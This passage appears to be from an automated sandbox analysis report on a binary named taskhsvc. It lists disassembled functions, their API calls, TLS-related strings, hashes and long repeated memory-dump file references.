                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$strrchr$abortgetsockopt
                                        • String ID: TLS closed during flush$TLS connection closed on flush$TLS error in during flush$tls error. breaking.
                                        • API String ID: 3001274975-2632946057
                                        • Opcode ID: 6c6249c357b67116ea118f57f57d707b71fd814feb9d533ed888acc6bdcc000c
                                        • Instruction ID: 9e46f2d27bbb47d5bf9aa6afa7a0e39dbce38e674c6f56652631dcce930261c4
                                        • Opcode Fuzzy Hash: 6c6249c357b67116ea118f57f57d707b71fd814feb9d533ed888acc6bdcc000c
                                        • Instruction Fuzzy Hash: AD62E774A04249DFCB00EFA9C485AADFBF1EF44310F158999E9A8EB351DB34D885DB12
                                        Function 00D2E618 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 121COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00D2888C: strlen.MSVCRT ref: 00D288DC
                                          • Part of subcall function 00D2888C: __stack_chk_fail.LIBSSP-0 ref: 00D2895C
                                        • free.MSVCRT ref: 00D2E7DC
                                        • __stack_chk_fail.LIBSSP-0 ref: 00D2E7F6
                                          • Part of subcall function 00D13842: __stack_chk_fail.LIBSSP-0 ref: 00D138B7
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$freestrlen
                                        • String ID: R!$d%$h!$o
                                        • API String ID: 1708192973-4282407098
                                        • Opcode ID: 254fc12a1f08da1fb92dd777a2660756d23106d2f44f2c18c901819483319e9c
                                        • Instruction ID: efed9b145c6d57dd97ecbce7cfa24a9f2506411d38d2001938f524021446d7f6
                                        • Opcode Fuzzy Hash: 254fc12a1f08da1fb92dd777a2660756d23106d2f44f2c18c901819483319e9c
                                        • Instruction Fuzzy Hash: 6A5192B4904359DFDB00EFA8D5857AEBBF0BF58304F11881DE594AB240D7789A84CFA2
                                        Function 00D3CC1C Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 52COMMON
                                        Download Yara Rule
                                        APIs
                                        • RAND_poll.LIBEAY32 ref: 00D3CC3A
                                        • RAND_seed.LIBEAY32(?,?,?,?,?,?,?,?,?,?,?,?,?,00D35F8E), ref: 00D3CC9E
                                        • RAND_status.LIBEAY32(?,?,?,?,?,?,?,?,?,?,?,?,?,00D35F8E), ref: 00D3CCCA
                                        • __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00D35F8E), ref: 00D3CCEB
                                          • Part of subcall function 00D13842: __stack_chk_fail.LIBSSP-0 ref: 00D138B7
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$D_pollD_seedD_status
                                        • String ID: $ $iD$4
                                        • API String ID: 233213208-808620988
                                        • Opcode ID: f4ca1f4843a21981272b8957a66ffa450432e0227954efb3bce531e8b85a82bb
                                        • Instruction ID: 4606b55f4f56e24d685798fd8367a329d7f86e2301b103f80aaacf312f97dd99
                                        • Opcode Fuzzy Hash: f4ca1f4843a21981272b8957a66ffa450432e0227954efb3bce531e8b85a82bb
                                        • Instruction Fuzzy Hash: 61210AB08153089EDB10EFB4D58939DBBF0FF44314F05A519E484A7281D7B89984CF72
                                        Function 00C73787 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 202COMMON
                                        Download Yara Rule
                                        APIs
                                        • abort.MSVCRT ref: 00C737EC
                                          • Part of subcall function 00D13842: __stack_chk_fail.LIBSSP-0 ref: 00D138B7
                                        • abort.MSVCRT ref: 00C7382B
                                        • abort.MSVCRT ref: 00C7387B
                                        • abort.MSVCRT ref: 00C7395E
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        • __stack_chk_fail.LIBSSP-0 ref: 00C73AAC
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_failabort$strrchr
                                        • String ID: hI
                                        • API String ID: 2024191972-4249827069
                                        • Opcode ID: 2092943682dc48311df6865ae8e8da291d7f4fea6cc20e9fb3a7ac1c73b4d507
                                        • Instruction ID: 4b5a0a9dd92f7461554b69c77ca34e6e10eee14bc623a9fd0feadf23e17fed82
                                        • Opcode Fuzzy Hash: 2092943682dc48311df6865ae8e8da291d7f4fea6cc20e9fb3a7ac1c73b4d507
                                        • Instruction Fuzzy Hash: F291D7B4A043069FDB00DFA5D085AAEBBF0BF44314F01C869E898AB352D778D945DF62
                                        Function 00D33FC6 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 165COMMON
                                        Download Yara Rule
                                        APIs
                                        • abort.MSVCRT ref: 00D34024
                                          • Part of subcall function 00D33BFD: abort.MSVCRT ref: 00D33C50
                                          • Part of subcall function 00D33BFD: abort.MSVCRT ref: 00D33CED
                                          • Part of subcall function 00D33BFD: abort.MSVCRT ref: 00D33D40
                                          • Part of subcall function 00D33BFD: __stack_chk_fail.LIBSSP-0 ref: 00D33D71
                                        • abort.MSVCRT ref: 00D3407F
                                        • abort.MSVCRT ref: 00D340C1
                                        • abort.MSVCRT ref: 00D3411F
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        • abort.MSVCRT ref: 00D341E9
                                          • Part of subcall function 00D33BC0: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00D33D00), ref: 00D33BF6
                                        • __stack_chk_fail.LIBSSP-0 ref: 00D3422C
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
